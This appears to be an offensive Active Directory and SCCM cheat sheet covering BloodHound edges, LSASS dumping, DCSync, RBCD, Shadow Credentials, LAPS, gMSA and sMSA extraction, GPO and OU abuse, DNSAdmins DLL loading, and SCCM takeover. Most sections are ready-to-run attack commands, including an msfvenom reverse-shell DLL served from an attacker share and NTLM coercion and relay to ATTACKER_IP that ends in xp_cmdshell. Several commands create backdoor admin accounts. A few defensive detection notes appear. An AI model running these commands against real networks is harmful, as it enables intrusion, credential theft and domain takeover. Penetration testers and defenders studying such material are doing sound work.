Get-NetSession -ComputerName target.domain.local
Invoke-SessionHunter -Domain domain.local

# Once admin on the box - dump LSASS
# Windows: Task Manager > lsass.exe > Create dump (or via MiniDumpWriteDump)
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
# Offline parse
pypykatz lsa minidump lsass.dmp

# Linux - dump SAM/LSA via impacket
secretsdump.py -target-ip target 'domain.local/admin:[email protected]'
# Output: SAM (local) + LSA secrets (cached service accounts, machine pw) + DCC2 (cached domain creds)

# Kerberos ticket cache
Rubeus.exe triage          # List tickets in all sessions
Rubeus.exe dump /luid:<LUID> /service:krbtgt /nowrap

Defensive / OPSEC: session enumeration requires SMB to the target computer and triggers event 5145 (detailed share access) on the target. Session data via HKU sampling is stealthier but requires RemoteRegistry. BloodHound's session data staleness is often multi-day - always re-enumerate at exploitation time.

#AllExtendedRights - the wildcard edge

AllExtendedRights (the BH edge) is the DACL right ControlAccessRight with a NULL ObjectType - i.e. "all extended rights on this object". It's a superset that silently includes several high-value primitives that each map to their own targeted edge when the ACE specifies a particular ObjectType:

Extended right GUID Effect
DS-Replication-Get-Changes 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 DCSync (precondition)
DS-Replication-Get-Changes-All 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 DCSync (second half)
DS-Replication-Get-Changes-In-Filtered-Set 89e95b76-... DirSync / LAPS read
User-Force-Change-Password 00299570-246d-11d0-a768-00aa006e0529 ForceChangePassword
Self-Membership bf9679c0-0de6-11d0-a285-00aa003049e2 AddSelf
Read-Account-Restrictions / Write-Account-Restrictions 4c164200-... WriteAccountRestrictions (RBCD)

A grant of AllExtendedRights on a user = ForceChangePassword is available. On the domain object = DCSync is available. On a computer = RBCD attribute is writable. When you see AllExtendedRights in BH, always chain through to the specific primitive that matches the target type.

# Enumerate who has AllExtendedRights on the domain head
Get-DomainObjectAcl -SearchBase 'DC=domain,DC=local' -ResolveGUIDs | \
  ? { $_.ActiveDirectoryRights -match 'ExtendedRight' -and $_.ObjectAceType -eq 'All' }

# Impacket
dacledit.py -action read -target-dn 'DC=domain,DC=local' \
  domain.local/user:'pass' -dc-ip dc01 | grep -i extended

#AddSelf vs AddMember

BloodHound tracks two distinct ACE primitives for group membership:

  • AddMember - the WriteProperty right on the member attribute. Lets you add ANY principal to the group (yourself, a patsy, SYSTEM).
  • AddSelf - the Self extended right (also called "Write self-membership"). Lets you add ONLY yourself - the identity calling the LDAP modify. Often granted to "Authenticated Users" on benign distribution groups but occasionally leaks onto security groups.
# Detect the difference - AddSelf shows up as the Self extended right
# GUID 'bf9679c0-0de6-11d0-a285-00aa003049e2' = Self-Membership
Get-DomainObjectAcl -Identity 'SensitiveGroup' -ResolveGUIDs | \
  ? { $_.ObjectAceType -eq 'Self-Membership' }

# Exploitation - AddSelf only works when you're the principal adding yourself
# Impacket - use ldap3 MODIFY_ADD on 'member' with your own DN
python3 -c "
from ldap3 import Server,Connection,MODIFY_ADD
c=Connection(Server('dc01'),'[email protected]','pass',auto_bind=True)
c.modify('CN=TargetGroup,...',{'member':[(MODIFY_ADD,['CN=attacker,CN=Users,DC=domain,DC=local'])]})
"
# net rpc also works when the bind user matches the new member
net rpc group addmem TargetGroup attacker -U 'domain.local\attacker%pass' -S dc01

#WriteAccountRestrictions -> RBCD Primitive

WriteAccountRestrictions is the BH edge for WriteProperty on the User-Account-Restrictions property set, which includes msDS-AllowedToActOnBehalfOfOtherIdentity. This is the RBCD primitive expressed as a DACL edge - it is how Dirk-Jan's "Computer Object Pre-Creation" / "Kerberos RBCD" research turns a limited write into computer takeover.

Dirk-Jan's precreation path: when an OU admin pre-creates computer objects (instead of letting the user who joins the machine be the owner), they often also give SELF WriteAccountRestrictions (because Windows needs it during join). An attacker who then takes over ANY principal with WriteProperty on the User-Account-Restrictions set can flip msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer = full RBCD abuse without needing to rewrite the entire DACL.

# Set RBCD via the WriteAccountRestrictions primitive (narrow write)
rbcd.py -action write -delegate-from 'EVIL$' -delegate-to 'TARGET$' \
  -dc-ip dc01 domain.local/attacker:'pass'

# NetExec
nxc ldap dc01 -u attacker -p pass -M rbcd \
  -o TARGET=TARGET$ DELEGATE=EVIL$

# Then S4U2Self + S4U2Proxy as any user to TARGET$
getST.py -spn 'cifs/target.domain.local' -impersonate Administrator \
  -dc-ip dc01 domain.local/EVIL\$:'password'
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass target.domain.local

Reference: Dirk-Jan Mollema, "Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory", and follow-up "Computer object takeover through Authenticated Users" posts.

#Claim Special Identity

BloodHound models a ClaimSpecialIdentity edge for the well-known "virtual" SIDs that Windows injects into tokens at logon time. Grants to these SIDs are particularly dangerous because any compromised account inherits them.

SID Name Populated when
S-1-1-0 Everyone Every authenticated OR anonymous access (depends on RestrictAnonymous)
S-1-5-7 Anonymous Logon Unauthenticated bind
S-1-5-11 Authenticated Users Any authenticated logon (domain or local)
S-1-5-14 Remote Interactive Logon Interactive logon over RDP
S-1-5-15 This Organization Domain/forest member (NOT foreign forest principals)
S-1-5-17 IUSR IIS anonymous
S-1-5-18 Local System NT AUTHORITY\SYSTEM on the machine
S-1-5-19 Local Service
S-1-5-20 Network Service
S-1-5-21--501 Guest RID 501, often disabled - if enabled, any unauthenticated access = Guest
S-1-5-32-545 BUILTIN\Users Local group
S-1-18-1 Authentication Authority Asserted Identity PKINIT cert-based logon (Key Trust)
S-1-18-2 Service Asserted Identity S4U
S-1-18-4 Key Trust Identity PKINIT via msDS-KeyCredentialLink (Shadow Credentials)
S-1-18-5 MFA Key Property Identity MFA-bound key
S-1-18-6 Fresh Public Key Identity
S-1-64-10 NTLM Authentication
S-1-64-14 Schannel Authentication
S-1-64-21 Digest Authentication

Why this is dangerous: a grant of GenericAll to Authenticated Users is equivalent to a grant to every domain-joined principal (every user, every computer, every service account). An ACE on Domain Users is the same. When BloodHound shows a path from Everyone@DOMAIN or Authenticated Users@DOMAIN, it is saying "anyone with a valid cred can take this".

# Hunt for Authenticated Users ACEs on high-value targets
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -ResolveGUIDs | \
  ? { $_.SecurityIdentifier -match 'S-1-5-11' }

# Check if Guest (RID 501) is enabled
nxc smb dc01 -u Guest -p ''
net user Guest /domain

# This Organization (S-1-5-15) missing = the domain has Selective Auth across a trust

PKINIT / Shadow Credentials note: when you authenticate via PKINIT using a msDS-KeyCredentialLink, the PAC includes S-1-18-4 (Key Trust Asserted Identity). Some detection rules and Conditional Access policies specifically look for S-1-18-4 in tokens because it marks PKINIT-from-key-credentials, which is often anomalous.

#Hybrid Identity Edges (BloodHound)

BloodHound models two directional edges between on-premises AD and Entra ID (Azure AD) that express the write-back and synchronization relationship created by Entra Connect (formerly Azure AD Connect).

Edge Direction Meaning
SyncedToADUser Entra user -> On-prem AD user This Entra account is the sync source for the on-prem account (Entra authoritative)
SyncedToEntraUser On-prem AD user -> Entra user This on-prem account is the sync source for the Entra account (on-prem authoritative, the default)

Attack chains:

  1. On-prem -> Entra (via PHS / PTA / Federation): compromise an on-prem user -> the NT hash / cleartext password is sync'd / validated up to Entra. You now authenticate as the Entra identity without ever touching the cloud.
  2. Entra -> On-prem (via password write-back): compromise an Entra user -> if write-back is enabled, trigger a password reset in Entra -> the new password syncs DOWN to on-prem via the MSOL_ service account.
  3. MSOL_ account pivot: the MSOL_<hex> service account created by Entra Connect has DCSync rights on the on-prem domain by design. Compromising the Entra Connect host (local SYSTEM) lets you pull the MSOL_ password from the ADSync SQL database and replay it against the on-prem DC.
# Enumerate the MSOL_ sync account
nxc ldap dc01 -u user -p pass -M get-desc-users | grep -iE 'MSOL_|AAD|AADConnect'
ldapsearch -x -H ldap://dc01 -D [email protected] -w pass \
  -b 'DC=domain,DC=local' '(sAMAccountName=MSOL_*)' sAMAccountName description

# On the Entra Connect host (local SYSTEM)
# Extract the MSOL_ password from the ADSync encrypted config
AADInternals> Get-AADIntSyncCredentials
# Or the newer variant
AADInternals> Get-AADIntLocalDbMSOLCredentials

# Replay MSOL_ -> DCSync
secretsdump.py domain.local/MSOL_abc123:'recovered_pw'@dc01 -just-dc

# Cross-reference on-prem and Entra users
AADInternals> Get-AADIntSyncObjects
# BARK (Graph API) - list Entra users matching an on-prem immutableId
Get-AzureADUsers -Token $t | ? { $_.ImmutableId } | Select UserPrincipalName,ImmutableId

Password write-back detection: on-prem password resets triggered from Entra generate Event ID 4724 ("attempt was made to reset an account's password") with the MSOL_ account as the subject, correlated with an Entra Set user password audit event in the same minute.

#GenericAll on Computer -> Shadow Credentials

Writing msDS-KeyCredentialLink on a computer lets you impersonate it via PKINIT.

# Certipy - full chain on a computer object
certipy shadow auto -u [email protected] -p pass \
  -account 'DC01$' -dc-ip dc01
# Output: DC01.pfx + NT hash for DC01$

# Then DCSync
secretsdump.py -hashes :<DC01_nt> 'domain.local/DC01$@dc01' -just-dc

# pywhisker (alternative)
pywhisker -d domain.local -u attacker -p pass \
  --target 'DC01$' --action add --dc-ip dc01

#WriteDACL on Domain Head -> DCSync

# Grant yourself the DCSync extended rights on the domain root
dacledit.py -action write -rights DCSync \
  -principal attacker \
  -target-dn 'DC=domain,DC=local' \
  domain.local/owned:'pass' -dc-ip dc01

# Or via PowerView
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' \
  -PrincipalIdentity attacker -Rights DCSync

# Then DCSync anytime
secretsdump.py domain.local/attacker:'pass'@dc01 -just-dc

#LAPS Password Read

Legacy LAPS stores plaintext in ms-Mcs-AdmPwd. New (Windows) LAPS stores encrypted in msLAPS-EncryptedPassword (DPAPI-NG via an AD-protected master key) and plaintext in msLAPS-Password when encryption is disabled.

Requirements: ReadProperty on ms-Mcs-AdmPwd / msLAPS-EncryptedPassword.

# Legacy LAPS
nxc ldap dc01 -u user -p pass -M laps
ldeep ldap -u user -p pass -d domain.local -s ldap://dc01 laps
# LDAP filter
ldapsearch -x -H ldap://dc01 -D [email protected] -w pass \
  -b 'DC=domain,DC=local' '(ms-Mcs-AdmPwd=*)' ms-Mcs-AdmPwd cn

# Windows LAPS (new, encrypted)
nxc ldap dc01 -u user -p pass -M laps       # Auto-detects both schemas
# Manually
python3 laps2.py -u user -p pass -d domain.local -dc-ip dc01
# Or with Windows: Get-LapsADPassword -Identity target -AsPlainText

# If encrypted (msLAPS-EncryptedPassword) you need DA / DPAPI backup key
# to decrypt via: certipy cert + dpapi-ng

#gMSA Password Read

# gMSADumper - pulls msDS-ManagedPassword via LDAPS if you have read rights
python3 gMSADumper.py -u user -p 'pass' -d domain.local -l dc01
# Output: gMSA name + NT hash (derived from the decoded blob)

# Then use the NT hash
nxc smb target -u 'svc_gmsa$' -H :<nt_hash>

# NetExec built-in module
nxc ldap dc01 -u user -p pass --gmsa

# bloodyAD
bloodyAD -u user -p pass --host dc01 -d domain.local get object 'svc_gmsa$' --attr msDS-ManagedPassword
# gmsapasswordreader.exe (rvazarkar) - Windows-side C# equivalent
# Runs from a domain-joined workstation with any account that has
# PrincipalsAllowedToRetrieveManagedPassword on the gMSA
gmsapasswordreader.exe --accountname svc_gmsa$
# Output: current + previous managed password blobs, NT hash

#sMSA Standalone Managed Service Account

sMSA is the pre-2012 managed service account (single-host, non-group). Its password is stored in the LSA Secrets of the host it runs on, rotated automatically every 30 days. Any local SYSTEM on that host can extract the secret and use it as the sMSA's credential - this is the BloodHound DumpSMSAPassword edge.

LSA secret naming convention:

_SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_<sMSAname>

The value is the sMSA's cleartext password in UTF-16LE.

# Mimikatz (SYSTEM) - dump LSA secrets
privilege::debug
token::elevate
lsadump::secrets
# Look for: _SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_<sMSA>
# Secret value is hex-encoded UTF-16LE cleartext

# Compute the NT hash from the recovered cleartext
python3 -c "
import hashlib
pw_hex = '<recovered_hex>'
pw = bytes.fromhex(pw_hex).decode('utf-16-le')
print(hashlib.new('md4', pw.encode('utf-16-le')).hexdigest())
"
# Offline - dump SYSTEM + SECURITY hives, parse with secretsdump
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITY
# Transfer off-box, then
secretsdump.py -system SYSTEM -security SECURITY LOCAL
# LSA section will show _SC_{262E99C9-...}_<sMSA>

# Use the NT hash
nxc smb target -u 'svc_smsa$' -H :<nt_hash>

Enumerate sMSAs in the domain:

# LDAP filter for sMSA (objectClass = msDS-ManagedServiceAccount)
$LDAP "(objectClass=msDS-ManagedServiceAccount)" sAMAccountName msDS-HostServiceAccount

# Which hosts host which sMSA
Get-ADServiceAccount -Filter * -Properties msDS-HostServiceAccount

#DirSync LAPS Abuse

GetChangesInFilteredSet is a replication extended right that lets a principal replicate the Filtered Attribute Set (FAS) via DRSUAPI's DsGetNCChanges. The FAS includes confidential attributes that GetChanges alone does not expose, but critically it does NOT honor the confidential-bit check that normally blocks reads of ms-Mcs-AdmPwd (legacy LAPS) and msLAPS-Password without explicit ReadProperty. This is the SyncLAPSPassword BloodHound edge: hold GetChanges + GetChangesInFilteredSet (no GetChangesAll required) and you can read every LAPS password via replication, bypassing the standard ACL check.

Requirement: DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-Set on the Domain NC. No Reserved Mask / ReadProperty on LAPS attribute needed.

# simondotsh/DirSync (https://github.com/simondotsh/DirSync)
python3 dirsync.py -u 'attacker' -p 'pass' -d 'domain.local' \
  --filter '(objectClass=computer)' --extra ms-Mcs-AdmPwd

# Windows LAPS 2023 variants
python3 dirsync.py -u user -p pass -d domain.local \
  --filter '(objectClass=computer)' --extra msLAPS-Password

# Single host
python3 dirsync.py -u user -p pass -d domain.local \
  --filter '(&(objectClass=computer)(name=WS01))' --extra ms-Mcs-AdmPwd
# PowerShell wrapper (Sync-LAPS)
Sync-LAPS -LDAPFilter '(samaccountname=WS01$)'

Why it works: the DRSUAPI replication interface was never updated to enforce the confidential bit on FAS-member attributes. Microsoft's guidance is to NEVER grant GetChangesInFilteredSet to non-Tier-0 principals. BloodHound flags this as a high-severity edge because the naive enumeration of "who can read LAPS" via DACL will MISS it.

#GPO Abuse (pyGPOAbuse / SharpGPOAbuse)

Write rights on a GPO let you inject a scheduled task or immediate task into MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml in SYSVOL. Every machine the GPO applies to picks it up at the next refresh (default 90 min + random).

# Linux (pyGPOAbuse)
pygpoabuse.py domain.local/user:'pass' \
  -gpo-id '{GPO-GUID}' \
  -command 'net user hax P@ss! /add && net localgroup administrators hax /add'
# Or add a new local admin via user/group preferences
pygpoabuse.py domain.local/user:'pass' \
  -gpo-id '{GPO-GUID}' -f

# Windows (SharpGPOAbuse)
.\SharpGPOAbuse.exe --AddComputerTask \
  --TaskName "Update" --Author "SYSTEM" \
  --Command "cmd.exe" --Arguments "/c net user hax P@ss! /add" \
  --GPOName "Default Domain Policy"

# Add a user to local admins via GPO
.\SharpGPOAbuse.exe --AddLocalAdmin \
  --UserAccount attacker --GPOName "Workstation Policy"

#Contains Edge and Inherited ACEs

The BloodHound Contains edge links an OU (or container) to the child objects it directly contains. It matters because ACEs on a parent OU with INHERIT_ONLY_ACE propagate down to children via ACE inheritance. A GenericAll on the OU granted to attacker becomes a GenericAll on every child user / computer / group / nested OU unless inheritance is blocked.

# Hunt for inheritable ACEs at OU level
Get-DomainObjectAcl -Identity 'OU=Workstations,DC=domain,DC=local' -ResolveGUIDs | \
  ? { $_.AceFlags -match 'ContainerInherit|ObjectInherit' -and $_.SecurityIdentifier -notmatch '-5(12|18|19|20)$' }

# Find OUs where inheritance is disabled (blocks lateral propagation)
Get-ADOrganizationalUnit -Filter * -Properties nTSecurityDescriptor | \
  ? { $_.nTSecurityDescriptor.AreAccessRulesProtected }

BH's Contains edge combined with an ACL edge on the parent OU is equivalent to the same ACL edge on every child. Always traverse Contains in Cypher when hunting owning paths: MATCH p=(u:User)-[:GenericAll]->(:OU)-[:Contains*1..]->(t) RETURN p.

The BH WriteGPLink edge is WriteProperty on the gPLink attribute of an OU (or Site, or Domain). It's the lower-level primitive behind the OUned attack - distinct from GPO-object WriteDacl. With WriteGPLink alone, you cannot modify an existing linked GPO, but you CAN link a new, attacker-controlled GPO to the OU, causing every computer in the scope to apply it on next gpupdate.

Chain requirement: you need a GPO the attacker controls. Options:

  1. Build a new GPO in a SYSVOL path where you have Write (rare).
  2. Compromise an existing under-used GPO via WriteDacl on the gPCFileSysPath.
  3. Use OUned.py which creates + links + cleans up automatically.
# Link a rogue GPO manually via ldap3
python3 -c "
from ldap3 import Server,Connection,MODIFY_REPLACE
c=Connection(Server('dc01'),'[email protected]','pass',auto_bind=True)
link='[LDAP://cn={NEW-GPO-GUID},cn=policies,cn=system,DC=domain,DC=local;0]'
c.modify('OU=Workstations,DC=domain,DC=local',{'gPLink':[(MODIFY_REPLACE,[link])]})
"

#OU Abuse (OUned.py)

Write rights on an OU let you link a rogue GPO by modifying the gPLink attribute. OUned.py automates creating a malicious GPO on a writable path, linking it, waiting for execution, then cleanup.

python3 OUned.py -ou 'OU=Workstations,DC=domain,DC=local' \
  -dc-ip dc01 -u attacker -p 'pass' -d domain.local \
  -command 'net user hax P@ss! /add && net localgroup administrators hax /add'

# Manual variant via ldap3 (for learning)
# 1. Create a GPO in a SYSVOL path you control
# 2. ldap modify: replace gPLink on the OU with LDAP://cn={new-gpo-guid},cn=policies,...
# 3. Wait for gpupdate -> trigger via scheduled task / shutdown coerce

#DNSAdmins -> ServerLevelPluginDll -> DC RCE

Members of the built-in DNSAdmins group can set ServerLevelPluginDll on the DNS service, pointing to an arbitrary DLL. Restarting the DNS service loads the DLL as SYSTEM - and DNS usually runs on DCs.

Requirements: Membership in DNSAdmins, and the ability to restart the DNS service on the DC (DNSAdmins grants Restart DNS).

# Check membership
net group DNSAdmins /domain
Get-ADGroupMember "DNSAdmins"

# Set the plugin DLL (UNC or local path)
dnscmd dc01 /config /serverlevelpluginDll \\ATTACKER\share\evil.dll

# Restart DNS (as a DNSAdmins member)
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
# Alternative if sc fails
dnscmd dc01 /restart
# Linux
# Build a reverse shell DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f dll > evil.dll
# Host on SMB
smbserver.py -smb2support share /tmp/share
# Set serverlevelpluginDll via RPC (impacket has no direct wrapper -
# use winrm / ssh / psexec with DNSAdmins creds to run dnscmd)
nxc winrm dc01 -u dnsadmin -p 'pass' -x \
  'dnscmd dc01 /config /serverlevelpluginDll \\ATTACKER\share\evil.dll; Restart-Service DNS'

#SCCM / MECM Abuse

#Why SCCM Matters

System Center Configuration Manager (now Microsoft Endpoint Configuration Manager) is deployed in almost every mid-to-large AD environment. It holds:

  • Network Access Account (NAA) credentials - stored locally on every SCCM client, recoverable from WMI or LSA secrets. Frequently a domain admin or near-admin account because SCCM admins want "it to just work".
  • Client Push Installation credentials - another high-priv account SCCM uses to install clients remotely.
  • Full software deployment rights over every managed host (= RCE everywhere as SYSTEM via SCCM Application / Package / Task Sequence deployment).
  • A SQL database (the site DB) containing every cred SCCM has ever touched, device inventories, and BitLocker keys.

#Discovery (sccmhunter)

sccmhunter is the primary SCCM enumeration + abuse toolkit. Finds Management Points, Distribution Points, Site Servers, and SMS Provider servers via LDAP (they register SPNs and specific AD objects).

# Find the SCCM infrastructure in AD
sccmhunter find -u user -p 'pass' -d domain.local -dc-ip dc01
# Output: MP, DP, SiteServer, SMSProvider, site code, primary site

# Show SCCM-related AD objects
sccmhunter smb -u user -p pass -d domain.local -dc-ip dc01

# Interactive smb mode to browse SCCM shares for cleartext creds
sccmhunter smb -u user -p pass -d domain.local -dc-ip dc01 -i
# Look for: SCCMContentLib$, CMSources, scripts containing hardcoded creds

#NAA Credential Extraction (sccmhunter axe)

The Network Access Account policy body is sent to every client in XML form (encrypted with the client's cert). sccmhunter axe requests a policy assignment from the MP without being registered, and decrypts the NAA from the returned blob. No client install, no admin - just low-priv domain credentials.

# Request NAA from a Management Point
sccmhunter axe -u user -p 'pass' -d domain.local \
  -mp http://mp.domain.local
# Output: NAA username + password in cleartext

# Alternative: on a client, pull NAA from local WMI (requires local admin)
Get-WmiObject -Namespace "ROOT\ccm\policy\Machine\ActualConfig" \
  -Class CCM_NetworkAccessAccount
# Decrypted via DPAPI using the machine master key

#SharpSCCM (Windows-side)

SharpSCCM is the C# analog of sccmhunter with additional offensive features: coerce NTLM from SCCM clients via Client.asmx, query the site DB, trigger application deployments.

# Local policy dump (NAA, Task Sequence accounts, everything secret)
.\SharpSCCM.exe local secrets
.\SharpSCCM.exe local triage

# Coerce NTLM - SCCM site server auths to your listener when asked nicely
.\SharpSCCM.exe invoke client-push -t ATTACKER_IP -sms sms-provider
# Catch with responder / ntlmrelayx -> relay to MSSQL on the site DB

# Query the site database directly (if you can auth)
.\SharpSCCM.exe get primary-users -u [email protected]
.\SharpSCCM.exe get site-info

# Deploy an application / trigger RCE on a target client as SYSTEM
.\SharpSCCM.exe new application -n pwn -p "C:\windows\system32\cmd.exe" \
  -a "/c net user hax P@ss! /add && net localgroup administrators hax /add"
.\SharpSCCM.exe new deployment -a pwn -c "All Systems"
.\SharpSCCM.exe exec -d target.domain.local -p "cmd.exe /c calc.exe"

#PXE Boot Abuse

SCCM PXE deployment serves unattended OS installation over TFTP. If password protection is off (default on old deployments) OR the PXE password is weak, anyone on the network can download the boot media policy, which contains MAK keys, domain join credentials, and sometimes the NAA.

# PXE boot media has a variables.dat file encrypted with the boot media password
# PXEThief (Python) cracks/extracts it
pxethief.py 1 <MP_IP>          # Discover available boot images
pxethief.py 2 <MP_IP>          # Download + bruteforce password + extract variables
# Output: domain join account, NAA, Task Sequence variables

#Relay to MSSQL Site Database

The SCCM site DB is a SQL Server storing every secret SCCM touches. Relay captured NTLM from a site server or SMS admin to mssql:// on the site DB. xp_cmdshell is usually enabled because SCCM needs it.

# 1. Start ntlmrelayx targeting the site DB
ntlmrelayx.py -t mssql://sccm-db.domain.local -smb2support \
  -c 'EXEC xp_cmdshell ''whoami'''

# 2. Coerce the site server (SCCM servers love spooler/PetitPotam)
python3 PetitPotam.py -u user -p pass -d domain \
  ATTACKER_IP sccm-siteserver
# OR via SharpSCCM client push coercion
.\SharpSCCM.exe invoke client-push -t ATTACKER_IP

# 3. ntlmrelayx executes xp_cmdshell as the SCCM SQL service account

#TAKEOVER Scenarios

misconfigurations/sccmhunter TAKEOVER-X scenarios formalize the known SCCM compromise chains. The headline ones to remember:

ID Primitive Requirement Outcome
TAKEOVER-1 Relay SMS Admin to site DB MSSQL Coerce site server Full SCCM via SQL xp_cmdshell
TAKEOVER-2 Relay site server machine account to HTTP MP PKI Client Auth off Add rogue device as Full Admin
TAKEOVER-5 NAA extraction via unauth client policy Low-priv domain creds Recover NAA cleartext
TAKEOVER-7 Relay site server to AD CS Site server is Certifried-eligible DA via machine cert
TAKEOVER-8 Directly MSSQL with low-priv into site DB SMS_ schema enumerable Read device secrets
TAKEOVER-9 Abuse hierarchy replication DA on a child site server Cross-site takeover
# sccmhunter automates many of these end-to-end
sccmhunter admin -u user -p pass -d domain.local -dc-ip dc01 \
  -tu target_user          # Elevate user via site DB modification
sccmhunter mp -u user -p pass -d domain.local -dc-ip dc01 \
  --takeover relay-http    # Rogue device registration

#Also See

#Cyber Aurelien Guidi